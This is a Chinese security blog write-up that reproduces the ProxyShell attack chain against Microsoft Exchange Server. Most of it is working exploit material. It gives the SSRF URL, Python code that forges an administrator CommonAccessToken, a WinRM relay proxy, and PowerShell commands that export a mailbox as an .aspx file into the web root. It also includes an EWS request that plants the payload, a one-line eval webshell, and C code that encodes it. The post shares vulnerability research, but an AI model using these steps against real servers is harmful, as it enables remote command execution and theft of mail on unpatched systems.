Exchange ProxyShell漏洞复现及分析

2021-08-13 13:36

前言

前些日子在blackhat的公开演讲中,安全研究员Orange Tsai公布并讲述了他对微软Exchange服务器的攻击手法。在演讲中,他介绍了ProxyLogon,ProxyOrcale和ProxyShell三个攻击链。

本文是对ProxyShell攻击链的分析和复现。

影响范围

Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2013 Cumulative Update 23

修复建议

ProxyShell攻击链早在四月份的Pwn2Own上就已被上报,微软也在四月及时发布了安全性更新补丁。
如果出于其他原因不能安装补丁,可以对含有autodiscover/autodiscover.json@<邮件地址>特征的HTTP请求URL进行阻拦和过滤。

漏洞简介

ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。

环境

调试环境是Exchange 2016。

分析

SSRF

在Orange的演讲中,利用步骤已经很明显,这里做一些额外补充。

在以上代码中可以看到,当Email参数不为空时,会对URL进行处理。

而可以通过构造特殊URL,来达成SSRF。

PowerShell Remoting

在Exchange的后端,有着PowerShell的端点可以与Exchange沟通。但是PowerShell端点的认证方式普遍是NTLM或者Kerberos,于是想要访问该端点,必须要获得账号密码。Exchange还提供了CommonAccessToken的Header支持认证,这个认证方式不需要账号密码,但是在SSRF的情况下我们无法传入本Header。

可以看到在这里通过在URL中提供X-Rps-CAT参数,可以让Exchange提取CommonAccessToken,从而获得认证。

这样在获取访问PowerShell的权限后,就可以执行一些PowerShell命令。但是Exchange的PowerShell环境是很显然受限制的,所以只能在允许的命令中寻找可以利用的。

其中New-MailExportRequest就是可以被利用的,他会将一个用户的邮箱打包,当FilePath参数被提供的时候,PowerShell会将文件以PST的格式保存到外部地址。

很显然,外部地址包括\\127.0.0.1。所以可以通过更改文件名后缀来写入任意文件。

但是前文也提到了,是PST文件格式,而PST会对数据进行一些加密。好消息是,PST采用的是置换加密,所以加密过的数据重新加密就会显示明文。而且PST的加密方式是在微软官网上提供的。

所以可以通过向Exchange邮箱发送加密后的恶意代码,打包到aspx文件后使用webshell。

在Orange的演讲中没有被提到的是,除了发送邮件以外,还可以用Exchange中的冒名功能,冒充用户发邮件,这样省去了发邮件的过程。

复现

复现和编写exp的过程比较繁琐,因为要涉及到对Exchange服务和WinRM协议。

SSRF

SSRF部分非常简单,只要访问https://exchange/autodiscover/autodiscover.json?@foo.com{path}&Email=autodiscover/autodiscover.json%3f@foo.com就会被Exchange认为成https://exchange:444/{path}进行SSRF。

如果对于端口444有疑问,可以查看Orange的演讲。

CommonAccessToken

PowerShell是这个攻击链中的重点,也是比较复杂的一段。

首先前面提到了需要CommonAccessToken,也可以通过提供X-Rps-CAT参数来提供。但是如何获取便是下一个问题。

为了了解CommonAccessToken的构造,我在测试机上设置了一些断点,并抓取了其中一个请求,获得了Exchange内部的CommonAccessToken。

X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==

可以看出是经过base64编码后的,解码后放到hexdump中。

关于CommonAccessToken的源码,可以在Microsoft.Exchange.Security.Authorization中找到。

通过观察序列化的函数,可以了解到大概的构造。

可以看出,V代表Version,T代表Type,C代表是否有压缩信息,而E代表额外的信息。但是观察上面的hexdump后,发现还有一些其他的字母。

这些字母的信息可以在同一个DLL中找到,但是是在WindowsAccessToken中。

可以看到L代表登录用户名,A代表认证类型,U代表用户SID,G代表组SID。

Token的序列化格式也是按照Name-Length-Value的格式,所以分析起来比较轻松。

以下是生成Token的Python代码:

def gen_token(uname, sid):
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'

    version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
    login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + pack('>I', 0) 

    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data

    data = base64.b64encode(raw_token).decode()

    return data

在Windows中用户的SID是不一样的,但是组SID是通用的,而管理员组的SID就是S-1-5-32-544,顺带一提,普通用户是S-1-5-32-545

在拥有了CommonAccessToken之后可以试着访问PowerShell端点,当响应是200时则说明成功。

关于获得SID的方法,可以参考ProxyLogon,同样的道理。

Remote PowerShell

现在已经有了与Exchange的PowerShell沟通的方式,接下来是让Exchange PowerShell执行命令。

前面也提到了,PowerShell是使用的WinRM协议,而WinRM是基于HTTP的SOAP协议。最原始的方法莫过于手撸XML在进行发送,但是那样太折磨人了。

Python有一个非常好用的库叫做PyPSRP,这个库可以进行WinRM通话。但是问题也出在这里,因为传统的WinRM是通过账号密码或者是密码哈希值进行认证的,在这里是通过CommonAccessToken。

而且又因为请求目标的关系,所以导致了WinRM没法直接向目标发送请求。

这里我的解决方案是搭建一个简单的HTTP代理服务器,通过更改POST请求的handler来达成代理的作用。

简单来说,我将WinRM的请求对象设置为本地127.0.0.1:8080,而我在本地的8080端口先使用nc监听来观察请求格式。

可以看到,除了HTTP头部以外没有什么不一样的地方,唯一的例外就是XML中的请求地址,但是那个可以通过正则替换掉。

以下是大概的数据流向:

以下是HTTP服务器的代码:


class handler(BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers['content-length']) content_type = self.headers['content-type'] post_data = self.rfile.read(length).decode() post_data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', post_data) post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data) headers = { 'Content-Type': content_type } req = requests.post(powershell_url, data=post_data, headers=headers, verify=False) resp = req.content self.send_response(200) self.end_headers() self.wfile.write(resp) class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): """Handle requests in a separate thread."""

关于<wsman:ResourceURI>替换的说明: 不知道出于什么原因,Exchange不接受这个URI,于是又在服务器上抓包获得了这个URI,替换了上去。

在之后就可以通过WSMan来导出邮件文件了。

assign_role = "New-ManagementRoleAssignment -role 'Mailbox Import Export' -user administrator"
export_file = "New-MailboxExportRequest -Mailbox administrator@f.com  -IncludeFolders \"#Drafts#\" -FilePath \\\\127.0.0.1\\C$\\inetpub\\wwwroot\\aspnet_client\\proxyshell.aspx "
clean_record = "Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Force -Confirm:$false"

首先assign_role,是用来让Exchange赋予用户导入邮件的权限。export_file便是打包邮件。clean_record是清理之前发送的导出请求。

发送Payload

这部分需要和Exchange Web Service(EWS)互动。这个EWS也只接受SOAP XML请求,所以也很痛苦。

还有就是对于PST文件的加密解密部分。

首先来看发送邮件部分,这个只要发送一个XML请求就好了。但实质上这部分花了我一天的时间才搞明白。

send_email = '''
<soap:Envelope 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016" />
    <t:SerializedSecurityContext>
      <t:UserSid>{sid}</t:UserSid>
      <t:GroupSids>
        <t:GroupIdentifier>
          <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
        </t:GroupIdentifier>
      </t:GroupSids>
    </t:SerializedSecurityContext>
  </soap:Header>
  <soap:Body>
    <m:CreateItem MessageDisposition="SaveOnly">
      <m:Items>
        <t:Message>
          <t:Subject>dummy</t:Subject>
          <t:Body BodyType="HTML">hello from darkness side</t:Body>
          <t:Attachments>
            <t:FileAttachment>
              <t:Name>FileAttachment.txt</t:Name>
              <t:IsInline>false</t:IsInline>
              <t:IsContactPhoto>false</t:IsContactPhoto>
              <t:Content>{payload}</t:Content>
            </t:FileAttachment>
          </t:Attachments>
          <t:ToRecipients>
            <t:Mailbox>
              <t:EmailAddress>{email}</t:EmailAddress>
            </t:Mailbox>
          </t:ToRecipients>
        </t:Message>
      </m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>
'''

然后是Payload的编写部分,我这里是采取了通用的一行ASPX马。

<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){eval(Request["cmd"],"unsafe");}</script>

然后自己稍微魔改一下,编译后运行得到结构。

#include <stdio.h> 
#include <windows.h>
#include <string.h>

byte mpbbCrypt[] =
 {
      65,  54,  19,  98, 168,  33, 110, 187,
     244,  22, 204,   4, 127, 100, 232,  93,
      30, 242, 203,  42, 116, 197,  94,  53,
     210, 149,  71, 158, 150,  45, 154, 136,
      76, 125, 132,  63, 219, 172,  49, 182,
      72,  95, 246, 196, 216,  57, 139, 231,
      35,  59,  56, 142, 200, 193, 223,  37,
     177,  32, 165,  70,  96,  78, 156, 251,
     170, 211,  86,  81,  69, 124,  85,   0,
       7, 201,  43, 157, 133, 155,   9, 160,
     143, 173, 179,  15,  99, 171, 137,  75,
     215, 167,  21,  90, 113, 102,  66, 191,
      38,  74, 107, 152, 250, 234, 119,  83,
     178, 112,   5,  44, 253,  89,  58, 134,
     126, 206,   6, 235, 130, 120,  87, 199,
     141,  67, 175, 180,  28, 212,  91, 205,
     226, 233,  39,  79, 195,   8, 114, 128,
     207, 176, 239, 245,  40, 109, 190,  48,
      77,  52, 146, 213,  14,  60,  34,  50,
     229, 228, 249, 159, 194, 209,  10, 129,
      18, 225, 238, 145, 131, 118, 227, 151,
     230,  97, 138,  23, 121, 164, 183, 220,
     144, 122,  92, 140,   2, 166, 202, 105,
     222,  80,  26,  17, 147, 185,  82, 135,
      88, 252, 237,  29,  55,  73,  27, 106,
     224,  41,  51, 153, 189, 108, 217, 148,
     243,  64,  84, 111, 240, 198, 115, 184,
     214,  62, 101,  24,  68,  31, 221, 103,
      16, 241,  12,  25, 236, 174,   3, 161,
      20, 123, 169,  11, 255, 248, 163, 192,
     162,   1, 247,  46, 188,  36, 104, 117,
      13, 254, 186,  47, 181, 208, 218,  61,
      20,  83,  15,  86, 179, 200, 122, 156,
     235, 101,  72,  23,  22,  21, 159,   2,
     204,  84, 124, 131,   0,  13,  12,  11,
     162,  98, 168, 118, 219, 217, 237, 199,
     197, 164, 220, 172, 133, 116, 214, 208,
     167, 155, 174, 154, 150, 113, 102, 195,
      99, 153, 184, 221, 115, 146, 142, 132,
     125, 165,  94, 209,  93, 147, 177,  87,
      81,  80, 128, 137,  82, 148,  79,  78,
      10, 107, 188, 141, 127, 110,  71,  70,
      65,  64,  68,   1,  17, 203,   3,  63,
     247, 244, 225, 169, 143,  60,  58, 249,
     251, 240,  25,  48, 130,   9,  46, 201,
     157, 160, 134,  73, 238, 111,  77, 109,
     196,  45, 129,  52,  37, 135,  27, 136,
     170, 252,   6, 161,  18,  56, 253,  76,
      66, 114, 100,  19,  55,  36, 106, 117,
     119,  67, 255, 230, 180,  75,  54,  92,
     228, 216,  53,  61,  69, 185,  44, 236,
     183,  49,  43,  41,   7, 104, 163,  14,
     105, 123,  24, 158,  33,  57, 190,  40,
      26,  91, 120, 245,  35, 202,  42, 176,
     175,  62, 254,   4, 140, 231, 229, 152,
      50, 149, 211, 246,  74, 232, 166, 234,
     233, 243, 213,  47, 112,  32, 242,  31,
       5, 103, 173,  85,  16, 206, 205, 227,
      39,  59, 218, 186, 215, 194,  38, 212,
     145,  29, 210,  28,  34,  51, 248, 250,
     241,  90, 239, 207, 144, 182, 139, 181,
     189, 192, 191,   8, 151,  30, 108, 226,
      97, 224, 198, 193,  89, 171, 187,  88,
     222,  95, 223,  96, 121, 126, 178, 138,
      71, 241, 180, 230,  11, 106, 114,  72,
     133,  78, 158, 235, 226, 248, 148,  83,
     224, 187, 160,   2, 232,  90,   9, 171,
     219, 227, 186, 198, 124, 195,  16, 221,
      57,   5, 150,  48, 245,  55,  96, 130,
     140, 201,  19,  74, 107,  29, 243, 251,
     143,  38, 151, 202, 145,  23,   1, 196,
      50,  45, 110,  49, 149, 255, 217,  35,
     209,   0,  94, 121, 220,  68,  59,  26,
      40, 197,  97,  87,  32, 144,  61, 131,
     185,  67, 190, 103, 210,  70,  66, 118,
     192, 109,  91, 126, 178,  15,  22,  41,
      60, 169,   3,  84,  13, 218,  93, 223,
     246, 183, 199,  98, 205, 141,   6, 211,
     105,  92, 134, 214,  20, 247, 165, 102,
     117, 172, 177, 233,  69,  33, 112,  12,
     135, 159, 116, 164,  34,  76, 111, 191,
      31,  86, 170,  46, 179, 120,  51,  80,
     176, 163, 146, 188, 207,  25,  28, 167,
      99, 203,  30,  77,  62,  75,  27, 155,
      79, 231, 240, 238, 173,  58, 181,  89,
       4, 234,  64,  85,  37,  81, 229, 122,
     137,  56, 104,  82, 123, 252,  39, 174,
     215, 189, 250,   7, 244, 204, 142,  95,
     239,  53, 156, 132,  43,  21, 213, 119,
      52,  73, 182,  18,  10, 127, 113, 136,
     253, 157,  24,  65, 125, 147, 216,  88,
      44, 206, 254,  36, 175, 222, 184,  54,
     200, 161, 128, 166, 153, 152, 168,  47,
      14, 129, 101, 115, 228, 194, 162, 138,
     212, 225,  17, 208,   8, 139,  42, 242,
     237, 154, 100,  63, 193, 108, 249, 236
 };

 #define mpbbR   (mpbbCrypt)
 #define mpbbS   (mpbbCrypt + 256)
 #define mpbbI   (mpbbCrypt + 512)

 void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
 {
    // cb -> buffer size
    // pv -> buffer
    byte *          pb      = (byte *)pv;
    byte *          pbTable   = fEncrypt ? mpbbR : mpbbI;
    const DWORD *   pdw    = (const DWORD *) pv;
    DWORD         dwCurr;
    byte         b;

    if (cb >= sizeof(DWORD))
    {
       while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
       {
          *pb = pbTable[*pb];
          pb++;
          cb--;
       }

       pdw = (const DWORD *) pb;
       for (; cb >= 4; cb -= 4)
       {
          dwCurr = *pdw;

          b = (byte) (dwCurr & 0xFF);
          *pb = pbTable[b];
          pb++;

          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr & 0xFF);
          *pb = pbTable[b];
          pb++;

          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr  & 0xFF);
          *pb = pbTable[b];
          pb++;

          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr  & 0xFF);
          *pb = pbTable[b];
          pb++;

          pdw++;
       }

       pb = (byte *) pdw;
    }

    for (; --cb >= 0; ++pb)
       *pb = pbTable[*pb];
}


void main(){
    char[] payload = "<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>";
    int length = strlen(payload);
    CryptPermute(payload, length, false);
    printf(payload);

}

我就写了main那一部分,后面逻辑也理不清了,所以就直接穷举一个一个试的。

然后得到乱码,base64编码之后放到payload里面。这样所有的攻击链都完成了。最后就是连在一起:

  1. 发送请求获得用户SID
  2. 利用获得的SID来构造CommonAccessToken
  3. 向EWS发送邮件请求,将payload附带在其中
  4. 利用WSMan发送邮件导出请求
  5. 访问webshell,达成命令执行

参考资料

  • https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd
  • https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
  • https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf
  • https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/
  • https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange
  • https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/

作者:斗象能力中心TCC-史辛泽

评论(2)

匿名

2021/08/13 16:50
给大佬递茶

sec00

2021/08/13 15:43
厉害,学习了

发表评论

captcha